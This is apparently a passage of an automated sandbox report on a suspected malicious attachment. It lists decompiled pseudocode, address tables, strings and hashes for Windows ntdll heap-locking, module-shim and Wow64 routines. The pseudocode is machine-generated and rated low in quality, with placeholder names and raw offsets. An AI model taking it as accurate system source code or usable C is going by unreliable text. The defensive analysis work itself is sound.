					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						L3346B910();
					} else {
						L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					L3346B910("Invalid heap signature for heap at %p", _t93);
					L3346B910(", passed to %s", "RtlUnlockHeap");
					_push("\n");
					L3346B910();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x335647a1 = 1;
						asm("int3");
						 *0x335647a1 = 0;
					}
					return 0;
				}
				if(( *(_t93 + 0x40) & 0x00000001) != 0) {
					goto L6;
				}
				_t92 =  *((intOrPtr*)(_t93 + 0xc8));
				 *((intOrPtr*)(_t93 + 0xe8)) =  *((intOrPtr*)(_t93 + 0xe8)) + 0xffff;
				_t13 = _t92 + 8;
				 *_t13 =  *((intOrPtr*)(_t92 + 8)) - 1;
				if( *_t13 != 0) {
					goto L6;
				}
				 *(_t92 + 0xc) =  *(_t92 + 0xc) & 0x00000000;
				_t87 = _t92 + 4;
				_t65 = 0xfffffffe;
				asm("lock cmpxchg [edx], ecx");
				_v12 = 0xffff;
				if(_t65 != 0xfffffffe) {
					if(( *_t87 & 0x00000001) != 0) {
						E3350AA40(_t92);
					}
					_t72 =  *((intOrPtr*)(_t92 + 0x10));
					_v8 = _t72;
					if(_t72 == 0) {
						_v8 = L3349FEC0(_t92);
					}
					_v16 = _v16 & 0x00000000;
					_t95 = _t92 + 4;
					_t73 = _v12;
					while(1) {
						_t90 = _t73 & 0x00000002 | 0x00000001;
						_t82 = _t90 + _t73;
						asm("lock cmpxchg [esi], ecx");
						if(_t73 == _t73) {
							break;
						}
						E3349BAC0(_t82,  &_v16);
						_t73 =  *_t95;
					}
					_t93 = _a4;
					_t74 = _v8;
					if((_t90 & 0x00000002) != 0) {
						E3349F300(_t92, _t74);
					}
				}
				goto L6;
			}

0x3349da2a
0x3349da35
0x334df408
0x3349da90
0x3349da96
0x3349da9b
0x334df510
0x00000000
0x00000000
0x334df51f
0x3349daa6
0x3349daa9
0x334df537
0x334df53f
0x334df53f
0x334df537
0x00000000
0x3349daaf
0x3349daa1
0x3349daa1
0x00000000
0x3349daa1
0x3349da42
0x334df413
0x334df41b
0x00000000
0x334df421
0x3349da4f
0x334df432
0x334df451
0x334df456
0x334df434
0x334df449
0x334df44e
0x334df462
0x334df471
0x334df476
0x334df47b
0x334df48d
0x334df48f
0x334df496
0x334df497
0x334df497
0x00000000
0x334df49e
0x3349da59
0x00000000
0x00000000
0x3349da5b
0x3349da66
0x3349da6d
0x3349da6d
0x3349da71
0x00000000
0x00000000
0x3349da73
0x3349da77
0x3349da7f
0x3349da80
0x3349da84
0x3349da8a
0x334df4a8
0x334df4ab
0x334df4ab
0x334df4b0
0x334df4b3
0x334df4b8
0x334df4c1
0x334df4c1
0x334df4c4
0x334df4c8
0x334df4cb
0x334df4ce
0x334df4d5
0x334df4d8
0x334df4db
0x334df4e1
0x00000000
0x00000000
0x334df4e7
0x334df4ec
0x334df4ec
0x334df4f0
0x334df4f3
0x334df4f9
0x334df503
0x334df503
0x334df4f9
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 334DF41B

Strings

RtlUnlockHeap, xrefs: 334DF467
, passed to %s, xrefs: 334DF46C
HEAP: , xrefs: 334DF451
Invalid heap signature for heap at %p, xrefs: 334DF45D
HEAP[%wZ]: , xrefs: 334DF444

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
API String ID: 3446177414-3224558752
Opcode ID: c1966e97d4fd274f59d3c98b55594c2ce8b98efadecd3b792f51f61c19f4b703
Instruction ID: d3b53524c9f1603696531e5aa39a12a8a1dcac270dfa62942a9a6d8a9851847c
Opcode Fuzzy Hash: c1966e97d4fd274f59d3c98b55594c2ce8b98efadecd3b792f51f61c19f4b703
Instruction Fuzzy Hash: 7C417C74A04700DFF721CF68C564B8ABBB4FF41324F0846A9E42597782CB78A996CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 3349DAC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84
timeCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E3349DAC0(void* __ecx, intOrPtr _a4) {
				char _v5;
				intOrPtr* _t25;
				char* _t26;
				char _t28;
				intOrPtr _t53;
				intOrPtr* _t55;

				_t53 = _a4;
				_v5 = 0xff;
				if( *((intOrPtr*)(_t53 + 8)) == 0xddeeddee) {
					E33539109(_t53,  &_v5);
					L5:
					_t25 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
					if(_t25 != 0) {
						if( *_t25 == 0) {
							goto L6;
						}
						_t26 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						L7:
						if( *_t26 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
								E3352F2AE(_t53);
							}
						}
						_t28 = 1;
						L9:
						return _t28;
					}
					L6:
					_t26 = 0x7ffe0380;
					goto L7;
				}
				if(( *(_t53 + 0x44) & 0x01000000) != 0) {
					_t55 =  *0x33563768; // 0x0
					 *0x335691e0(_t53);
					_t28 =  *_t55();
					goto L9;
				}
				if( *((intOrPtr*)(_t53 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						L3346B910();
					} else {
						L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					L3346B910("Invalid heap signature for heap at %p", _t53);
					L3346B910(", passed to %s", "RtlLockHeap");
					_push("\n");
					L3346B910();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x335647a1 = 1;
						asm("int3");
						 *0x335647a1 = 0;
					}
					_t28 = 0;
					goto L9;
				} else {
					if(( *(_t53 + 0x40) & 0x00000001) == 0) {
						L3347FED0( *((intOrPtr*)(_t53 + 0xc8)));
						 *((short*)(_t53 + 0xe8)) =  *((short*)(_t53 + 0xe8)) + 1;
					}
					goto L5;
				}
			}

0x3349dac8
0x3349dacb
0x3349dad6
0x334df54e
0x3349db0e
0x3349db14
0x3349db19
0x334df5ee
0x00000000
0x00000000
0x334df5fd
0x3349db24
0x3349db27
0x334df614
0x334df61c
0x334df61c
0x334df614
0x3349db2d
0x3349db2f
0x3349db31
0x3349db31
0x3349db1f
0x3349db1f
0x00000000
0x3349db1f
0x3349dae3
0x334df559
0x334df561
0x334df567
0x00000000
0x334df567
0x3349daf0
0x334df578
0x334df597
0x334df59c
0x334df57a
0x334df58f
0x334df594
0x334df5a8
0x334df5b7
0x334df5bc
0x334df5c1
0x334df5d3
0x334df5d5
0x334df5dc
0x334df5dd
0x334df5dd
0x334df5e4
0x00000000
0x3349daf6
0x3349dafa
0x3349db02
0x3349db07
0x3349db07
0x00000000
0x3349dafa

APIs

RtlDebugPrintTimes.NTDLL ref: 334DF561

Strings

, passed to %s, xrefs: 334DF5B2
RtlLockHeap, xrefs: 334DF5AD
HEAP: , xrefs: 334DF597
Invalid heap signature for heap at %p, xrefs: 334DF5A3
HEAP[%wZ]: , xrefs: 334DF58A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 3446177414-1222099010
Opcode ID: 1b2f5203ccab48fd0623db1e4b29653c5c18e91ea254dd3af05be7792a136960
Instruction ID: 10bca1f08e90aefa967651f1c12e3a289df3859631ad97cdb0287d85a7e0588a
Opcode Fuzzy Hash: 1b2f5203ccab48fd0623db1e4b29653c5c18e91ea254dd3af05be7792a136960
Instruction Fuzzy Hash: 75314575502784DFF722CF28C428F897BE8EF02654F084599F46147B93CBA8E986CB59

Uniqueness

Uniqueness Score: -1.00%

Function 33490AEB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210
timeCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E33490AEB(void* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t67;
				signed int _t70;
				signed int _t76;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t84;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t93;
				signed char _t101;
				intOrPtr _t104;
				void* _t108;
				void* _t111;
				signed int _t113;
				intOrPtr* _t117;
				signed int _t119;
				intOrPtr* _t120;
				signed int _t121;
				intOrPtr* _t122;
				signed int _t126;
				void* _t130;
				void* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t135;
				intOrPtr _t136;
				signed int _t137;
				signed int _t138;
				void* _t139;
				void* _t140;
				void* _t141;

				_t134 = 0;
				_t108 = __ecx;
				_v12 = 0;
				_v20 = 0;
				_t141 =  *0x335668d8 - _t134; // 0x0
				if(_t141 != 0) {
					_v20 = 1;
				}
				if( *0x335665f9 == 0) {
					_t136 =  *((intOrPtr*)(_t108 + 4));
					while(1) {
						__eflags = _t136 - _t108;
						if(_t136 == _t108) {
							break;
						}
						_t24 = _t136 - 0x54; // -84
						_t110 = _t24;
						E334A7550(_t24);
						_t136 =  *((intOrPtr*)(_t136 + 4));
					}
					goto L2;
				} else {
					L2:
					_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x68));
					L3347FED0(0x335632d8);
					if( *0x335665f0 != 0) {
						_t126 =  *0x7ffe0330;
						_t135 =  *0x33569218; // 0x0
						_t111 = 0x20;
						_t110 = _t111 - (_t126 & 0x0000001f);
						asm("ror edi, cl");
						_t134 = _t135 ^ _t126;
					}
					_t137 = 0;
					_t67 =  *((intOrPtr*)(_t108 + 4));
					_v36 = 0;
					_v32 = _t67;
					if(_t67 == _t108) {
						L11:
						_push(0x335632d8);
						E3347E740(_t110);
						return _t137;
					} else {
						_t113 = _v16 & 0x00000100;
						_v16 = _t113;
						do {
							_t10 = _t67 - 0x54; // -84
							_t138 = _t10;
							if(_t113 != 0) {
								_t110 = _t138;
								_t70 = L33466DA6(_t138);
								_v36 = _t70;
								__eflags = _t70;
								if(_t70 < 0) {
									break;
								}
							}
							_t114 = _t138;
							L334798DE(_t138, 0);
							if(_t134 != 0) {
								__eflags =  *0x335665f8;
								if(__eflags == 0) {
									_t114 = _t134;
									 *0x335691e0(_t138);
									 *_t134();
									 *(_t138 + 0x35) =  *(_t138 + 0x35) | 0x00000008;
								}
							}
							_t148 = _v20;
							if(_v20 == 0) {
								_t76 =  *(_t138 + 0x28);
								_t114 = _t76;
								_t130 = 0x10;
								_v8 = _t76;
								if(L33491C7D(_t76, _t130, _t148) != 0) {
									_t117 = _v8;
									_t131 = _t117 + 2;
									do {
										_t78 =  *_t117;
										_t117 = _t117 + 2;
										__eflags = _t78 - _v12;
									} while (_t78 != _v12);
									_t114 = _t117 - _t131 >> 1;
									__eflags =  *0x335668d8;
									if( *0x335668d8 == 0) {
										_t33 = _t114 + 2; // 0x0
										_t79 = _t33;
									} else {
										_t104 =  *0x33565d4c; // 0x0
										_t79 = _t104 + 1 + _t114;
									}
									_v28 = _t79;
									_t132 = L33485D90(_t114,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t79 + _t79);
									_v24 = _t132;
									__eflags = _t132;
									if(_t132 != 0) {
										_t119 =  *0x335668d8; // 0x0
										__eflags = _t119;
										if(_t119 == 0) {
											_t120 = _v8;
											_v40 = _t120 + 2;
											do {
												_t84 =  *_t120;
												_t120 = _t120 + 2;
												__eflags = _t84 - _v12;
											} while (_t84 != _v12);
											_t121 = _t120 - _v40;
											__eflags = _t121;
											_t114 = _t121 >> 1;
											L334B88C0(_t132, _v8, (_t121 >> 1) + (_t121 >> 1));
											_t139 = _t139 + 0xc;
											L39:
											 *0x335668d8 = _v24;
											 *0x33565d4c = _v28;
											goto L9;
										}
										_t89 =  *0x33565d4c; // 0x0
										_t90 = _t89 + _t89;
										__eflags = _t90;
										_v40 = _t90;
										L334B88C0(_t132, _t119, _t90);
										_t133 = _v8;
										_t140 = _t139 + 0xc;
										_t122 = _v8;
										_v8 = _t122 + 2;
										do {
											_t93 =  *_t122;
											_t122 = _t122 + 2;
											__eflags = _t93 - _v12;
										} while (_t93 != _v12);
										_t114 = _v40 + 2;
										L334B88C0(_v24 + _v40 + 2, _t133, (_t122 - _v8 >> 1) + (_t122 - _v8 >> 1));
										_t139 = _t140 + 0xc;
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *0x335668d8);
										goto L39;
									} else {
										_t101 =  *0x335637c0; // 0x0
										__eflags = _t101 & 0x00000003;
										if((_t101 & 0x00000003) != 0) {
											_push("Failed to allocated memory for shimmed module list\n");
											__eflags = 0;
											_push(0);
											_push("LdrpCheckModule");
											_push(0xaf4);
											_push("minkernel\\ntdll\\ldrinit.c");
											E334EE692();
											_t101 =  *0x335637c0; // 0x0
											_t139 = _t139 + 0x14;
										}
										__eflags = _t101 & 0x00000010;
										if((_t101 & 0x00000010) != 0) {
											asm("int3");
										}
										goto L9;
									}
								}
							}
							L9:
							L33490C2C(_t138, 1, _t114);
							_t15 = _t138 + 0x24; // -48
							 *(_t138 + 0x34) =  *(_t138 + 0x34) | 0x00000008;
							L3348DF36( *((intOrPtr*)(_t138 + 0x18)), _t15, 0x14ad);
							_t113 = _v16;
							_t67 =  *((intOrPtr*)(_v32 + 4));
							_v32 = _t67;
						} while (_t67 != _t108);
						_t137 = _v36;
						goto L11;
					}
				}
			}

0x33490af6
0x33490af8
0x33490afa
0x33490afd
0x33490b00
0x33490b06
0x334d9ea5
0x334d9ea5
0x33490b13
0x33490bd3
0x33490be3
0x33490be3
0x33490be5
0x00000000
0x00000000
0x33490bd8
0x33490bd8
0x33490bdb
0x33490be0
0x33490be0
0x00000000
0x33490b19
0x33490b19
0x33490b27
0x33490b2a
0x33490b36
0x33490c0d
0x33490c15
0x33490c20
0x33490c21
0x33490c23
0x33490c25
0x33490c25
0x33490b3e
0x33490b40
0x33490b43
0x33490b46
0x33490b4b
0x33490bc2
0x33490bc2
0x33490bc7
0x33490bd2
0x33490b4d
0x33490b50
0x33490b56
0x33490b59
0x33490b59
0x33490b59
0x33490b5e
0x334d9eb1
0x334d9eb3
0x334d9eb8
0x334d9ebb
0x334d9ebd
0x00000000
0x00000000
0x334d9ec3
0x33490b66
0x33490b69
0x33490b70
0x33490bec
0x33490bf3
0x33490bfa
0x33490bfc
0x33490c02
0x33490c04
0x33490c04
0x33490bf3
0x33490b72
0x33490b76
0x33490b78
0x33490b7b
0x33490b7f
0x33490b80
0x33490b8a
0x334d9ec8
0x334d9ecb
0x334d9ece
0x334d9ece
0x334d9ed1
0x334d9ed4
0x334d9ed4
0x334d9edc
0x334d9ede
0x334d9ee5
0x334d9ef1
0x334d9ef1
0x334d9ee7
0x334d9ee7
0x334d9eed
0x334d9eed
0x334d9ef4
0x334d9f0a
0x334d9f0c
0x334d9f0f
0x334d9f11
0x334d9f4e
0x334d9f54
0x334d9f56
0x334d9fbb
0x334d9fc1
0x334d9fc4
0x334d9fc4
0x334d9fc7
0x334d9fca
0x334d9fca
0x334d9fd0
0x334d9fd0
0x334d9fd3
0x334d9fdd
0x334d9fe2
0x334d9fe5
0x334d9fe8
0x334d9ff0
0x00000000
0x334d9ff0
0x334d9f58
0x334d9f5d
0x334d9f5d
0x334d9f62
0x334d9f65
0x334d9f6a
0x334d9f6d
0x334d9f70
0x334d9f75
0x334d9f78
0x334d9f78
0x334d9f7b
0x334d9f7e
0x334d9f7e
0x334d9f93
0x334d9f9a
0x334d9f9f
0x334d9fb4
0x00000000
0x334d9f13
0x334d9f13
0x334d9f18
0x334d9f1a
0x334d9f1c
0x334d9f21
0x334d9f23
0x334d9f24
0x334d9f29
0x334d9f2e
0x334d9f33
0x334d9f38
0x334d9f3d
0x334d9f3d
0x334d9f40
0x334d9f42
0x334d9f48
0x334d9f48
0x00000000
0x334d9f42
0x334d9f11
0x33490b8a
0x33490b90
0x33490b96
0x33490b9e
0x33490ba1
0x33490baa
0x33490bb2
0x33490bb5
0x33490bb8
0x33490bbb
0x33490bbf
0x00000000
0x33490bbf
0x33490b4b

APIs

RtlDebugPrintTimes.NTDLL ref: 33490BFC

Strings

Failed to allocated memory for shimmed module list, xrefs: 334D9F1C
LdrpCheckModule, xrefs: 334D9F24
minkernel\ntdll\ldrinit.c, xrefs: 334D9F2E

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-161242083
Opcode ID: ed4819e185628c8b42f0cc95dd7fa9fe73471242847e6f7d91353470f426757f
Instruction ID: 611fdc53bc266e119c0188852744d73f2b96729d14ae8d2117484543ee308931
Opcode Fuzzy Hash: ed4819e185628c8b42f0cc95dd7fa9fe73471242847e6f7d91353470f426757f
Instruction Fuzzy Hash: 6771A175E003059FEB04DFA8C890EAEBBF4EB44708F18446DE855EB751E734AA42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 334F5B90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
timeCOMMON

Download Yara Rule

C-Code - Quality: 31%

			E334F5B90(intOrPtr __ecx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				void* _t21;
				intOrPtr _t36;
				void* _t38;
				void* _t40;

				_t36 = __ecx;
				_t21 = L3348DDA0(0, 0, 0x33441b68,  &_v8);
				if(_t21 < 0) {
					return _t21;
				}
				_t43 = _v8;
				if(L3348CF00(_t36, _t38, _v8, 0x33441b78, 0,  &_v12, 0, _v0) >= 0) {
					_t43 = _v8;
					if(L3348CF00(_t36, _t38, _v8, 0x33441b70, 0,  &_v20, 0, _v0) >= 0) {
						_t43 = _v8;
						if(L3348CF00(_t36, _t38, _v8, 0x33441b80, 0,  &_v16, 0, _v0) >= 0) {
							_t36 = _v12;
							 *0x335691e0(0, L"Wow64 Emulation Layer", __edi);
							_t40 = _v12();
							if(_t40 != 0) {
								 *0x335691e0(_t40, "true", 0, _a12, 0, _a4, 0, _a8, 0);
								_v16();
								_t36 = _v20;
								 *0x335691e0(_t40);
								_v20();
							}
						}
					}
				}
				return L3348CD80(_t36, _t43);
			}

0x334f5b90
0x334f5ba6
0x334f5bad
0x334f5c51
0x334f5c51
0x334f5bb7
0x334f5bcd
0x334f5bd2
0x334f5be8
0x334f5bed
0x334f5c03
0x334f5c05
0x334f5c0f
0x334f5c18
0x334f5c1c
0x334f5c31
0x334f5c37
0x334f5c3a
0x334f5c3e
0x334f5c44
0x334f5c44
0x334f5c47
0x334f5c03
0x334f5be8
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 334F5C0F
RtlDebugPrintTimes.NTDLL ref: 334F5C31
RtlDebugPrintTimes.NTDLL ref: 334F5C3E

Strings

Wow64 Emulation Layer, xrefs: 334F5C09

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Wow64 Emulation Layer
API String ID: 3446177414-921169906
Opcode ID: 8958c7c2659964791bb3b9e449539fbb339085850e15c0f7d59762bff97e088d
Instruction ID: 3c8a4d5f82a5db4b730cae358ec2ea1233b0ecf0c35bfb7865cf8588ee80a36a
Opcode Fuzzy Hash: 8958c7c2659964791bb3b9e449539fbb339085850e15c0f7d59762bff97e088d
Instruction Fuzzy Hash: A7213D7690019DBFAB01ABA1DD84CFFBBBCEF44399B044098FA11A6104DB319E05DB68

Uniqueness

Uniqueness Score: -1.00%

Function 334EEBD0 Relevance: 6.2, APIs: 4, Instructions: 187
timeCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E334EEBD0(void* __ebx, intOrPtr __ecx, signed char __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t84;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr _t94;
				intOrPtr _t95;
				short* _t115;
				intOrPtr* _t118;
				intOrPtr _t125;
				intOrPtr _t127;
				signed char _t128;
				intOrPtr _t132;
				intOrPtr _t135;
				intOrPtr* _t136;
				intOrPtr _t139;
				void* _t141;

				_t128 = __edx;
				_push(0x58);
				_push(0x3354cc00);
				E334C7BE4(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t141 - 0x40)) = __edx;
				_t135 = __ecx;
				 *((intOrPtr*)(_t141 - 0x20)) = __ecx;
				_push("true");
				_pop(_t118);
				 *((intOrPtr*)(_t141 - 0x28)) = _t118;
				 *(_t141 - 0x68) =  *(_t141 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t141 - 0x64)) = 0x334ef550;
				 *((intOrPtr*)(_t141 - 0x60)) = E334EF5D0;
				if( *((intOrPtr*)(_t141 + 0xc)) >= _t118) {
					_t115 =  *((intOrPtr*)(_t141 + 8));
					 *_t115 = 0;
					_t132 = 0;
				} else {
					_t132 = 0xc0000004;
					_t115 = 0;
				}
				 *((intOrPtr*)(_t141 - 0x1c)) = _t132;
				 *((intOrPtr*)(_t141 - 0x3c)) = _t115;
				if(_t135 == 0 || (_t128 & 0x00000002) != 0) {
					_t135 = _t141 - 0x68;
					 *((intOrPtr*)(_t141 - 0x20)) = _t135;
				}
				 *((intOrPtr*)(_t141 - 0x4c)) = _t135;
				_t84 = 0;
				_t136 =  *((intOrPtr*)(_t141 + 0x10));
				while(1) {
					 *(_t141 - 0x2c) = _t84;
					if(_t84 >= 1) {
						break;
					}
					 *((intOrPtr*)(_t141 - 0x44)) = 0x2800;
					 *(_t141 - 0x34) = 1;
					if(_t136 != 0) {
						 *_t136 = _t118;
					}
					if((_t128 & 0x00000002) != 0) {
						_t23 = 0x334418a4 + _t84 * 0x14; // 0x334eeaf0
						 *0x335691e0();
						 *((intOrPtr*)( *_t23))();
						_t84 =  *(_t141 - 0x2c);
					}
					 *(_t141 - 4) =  *(_t141 - 4) & 0x00000000;
					_t86 = _t84 * 0x14;
					 *(_t141 - 0x38) = _t86;
					_t31 = _t86 + 0x33441898; // 0x334ee9f0
					_t136 =  *_t31;
					_t118 = _t136;
					 *0x335691e0( *((intOrPtr*)(_t141 - 0x20)), _t141 - 0x30, _t141 - 0x50);
					_t88 =  *_t136();
					if(_t88 < 0) {
						L31:
						_t132 = _t88;
						goto L32;
					} else {
						if( *((intOrPtr*)(_t141 - 0x30)) != 0) {
							_push(_t141 - 0x24);
							_push( *((intOrPtr*)(_t141 - 0x30)));
							_push( *((intOrPtr*)(_t141 - 0x20)));
							_t136 =  *((intOrPtr*)( *(_t141 - 0x38) + 0x3344189c));
							while(1) {
								_t118 = _t136;
								 *0x335691e0();
								_t88 =  *_t136();
								if(_t88 < 0) {
									goto L31;
								}
								if( *((intOrPtr*)(_t141 - 0x24)) !=  *((intOrPtr*)(_t141 - 0x30))) {
									_t94 =  *((intOrPtr*)(_t141 - 0x44));
									if(_t94 != 0) {
										_t95 = _t94 - 1;
										 *((intOrPtr*)(_t141 - 0x44)) = _t95;
										 *((intOrPtr*)(_t141 - 0x5c)) = _t95;
										_t125 =  *((intOrPtr*)(_t141 - 0x28)) +  *(_t141 - 0x34) * 0x12c;
										 *((intOrPtr*)(_t141 - 0x28)) = _t125;
										 *(_t141 - 0x34) = 1;
										 *((intOrPtr*)(_t141 - 0x58)) = 1;
										if( *((intOrPtr*)(_t141 + 0xc)) >= _t125) {
											 *_t115 = 0x12c;
											_t136 =  *((intOrPtr*)( *(_t141 - 0x38) + 0x334418a0));
											_t118 = _t136;
											 *0x335691e0( *((intOrPtr*)(_t141 - 0x20)), _t115 + 4,  *((intOrPtr*)(_t141 - 0x24)),  *((intOrPtr*)(_t141 - 0x50)),  *((intOrPtr*)(_t141 - 0x40)));
											_t88 =  *_t136();
											if(_t88 < 0) {
												goto L31;
											} else {
												_t128 =  *(_t115 + 0xc);
												if(_t128 == 0) {
													 *(_t141 - 0x34) = 0;
													 *((intOrPtr*)(_t141 - 0x58)) = 0;
													goto L28;
												} else {
													_t128 = _t128 + 0x3c;
													_t136 =  *((intOrPtr*)(_t141 - 0x20));
													_t118 = _t136;
													_t88 = E334EF5EC(_t118, _t128, _t141 - 0x54, "true");
													if(_t88 < 0) {
														goto L31;
													} else {
														_t127 =  *(_t115 + 0xc) +  *((intOrPtr*)(_t141 - 0x54));
														 *((intOrPtr*)(_t141 - 0x48)) = _t127;
														_t128 = _t127 + 8;
														_t118 = _t136;
														_t88 = E334EF5EC(_t118, _t128, _t115 + 0x124, "true");
														if(_t88 < 0) {
															goto L31;
														} else {
															_t128 =  *((intOrPtr*)(_t141 - 0x48)) + 0x58;
															_t118 = _t136;
															_t88 = E334EF5EC(_t118, _t128, _t115 + 0x120, "true");
															if(_t88 < 0) {
																goto L31;
															} else {
																_t128 =  *((intOrPtr*)(_t141 - 0x48)) + 0x34;
																_t118 = _t136;
																_t88 = E334EF5EC(_t118, _t128, _t115 + 0x128, "true");
																if(_t88 < 0) {
																	goto L31;
																} else {
																	_t115 = _t115 + 0x12c;
																	 *((intOrPtr*)(_t141 - 0x3c)) = _t115;
																	 *_t115 = 0;
																	goto L29;
																}
															}
														}
													}
												}
											}
										} else {
											_t132 = 0xc0000004;
											 *((intOrPtr*)(_t141 - 0x1c)) = 0xc0000004;
											L28:
											_t139 =  *((intOrPtr*)(_t141 - 0x20));
											L29:
											_push(_t141 - 0x24);
											_push( *((intOrPtr*)(_t141 - 0x24)));
											_push(_t139);
											_t136 =  *((intOrPtr*)( *(_t141 - 0x38) + 0x3344189c));
											continue;
										}
									} else {
										_t132 = 0xc0000229;
										L32:
										 *((intOrPtr*)(_t141 - 0x1c)) = _t132;
									}
								}
								goto L33;
							}
							goto L31;
						}
					}
					L33:
					 *(_t141 - 4) = 0xfffffffe;
					L334EEE16();
					_t84 =  *(_t141 - 0x2c) + 1;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t141 - 0x10));
				return _t132;
			}

0x334eebd0
0x334eebd0
0x334eebd2
0x334eebd7
0x334eebdc
0x334eebdf
0x334eebe1
0x334eebe4
0x334eebe6
0x334eebe7
0x334eebea
0x334eebee
0x334eebf5
0x334eebff
0x334eec0a
0x334eec0f
0x334eec12
0x334eec01
0x334eec01
0x334eec06
0x334eec06
0x334eec14
0x334eec17
0x334eec1c
0x334eec23
0x334eec26
0x334eec26
0x334eec29
0x334eec2c
0x334eec2e
0x334eec31
0x334eec31
0x334eec37
0x00000000
0x00000000
0x334eec3d
0x334eec44
0x334eec4d
0x334eec4f
0x334eec4f
0x334eec54
0x334eec59
0x334eec61
0x334eec67
0x334eec69
0x334eec69
0x334eec6c
0x334eec70
0x334eec73
0x334eec81
0x334eec81
0x334eec87
0x334eec89
0x334eec8f
0x334eec93
0x334eedf0
0x334eedf0
0x00000000
0x334eec99
0x334eec9d
0x334eeca6
0x334eeca7
0x334eecaa
0x334eecb0
0x334eedde
0x334eedde
0x334eede0
0x334eede6
0x334eedea
0x00000000
0x00000000
0x334eecc1
0x334eecc7
0x334eeccc
0x334eecd8
0x334eecd9
0x334eecdc
0x334eece9
0x334eeceb
0x334eecf1
0x334eecf4
0x334eecfa
0x334eed0e
0x334eed24
0x334eed2a
0x334eed2c
0x334eed32
0x334eed36
0x00000000
0x334eed3c
0x334eed3c
0x334eed41
0x334eedc4
0x334eedc7
0x00000000
0x334eed43
0x334eed49
0x334eed4c
0x334eed4f
0x334eed51
0x334eed58
0x00000000
0x334eed5e
0x334eed61
0x334eed64
0x334eed70
0x334eed73
0x334eed75
0x334eed7c
0x00000000
0x334eed7e
0x334eed8a
0x334eed8d
0x334eed8f
0x334eed96
0x00000000
0x334eed98
0x334eeda4
0x334eeda7
0x334eeda9
0x334eedb0
0x00000000
0x334eedb2
0x334eedb2
0x334eedb8
0x334eedbd
0x00000000
0x334eedbd
0x334eedb0
0x334eed96
0x334eed7c
0x334eed58
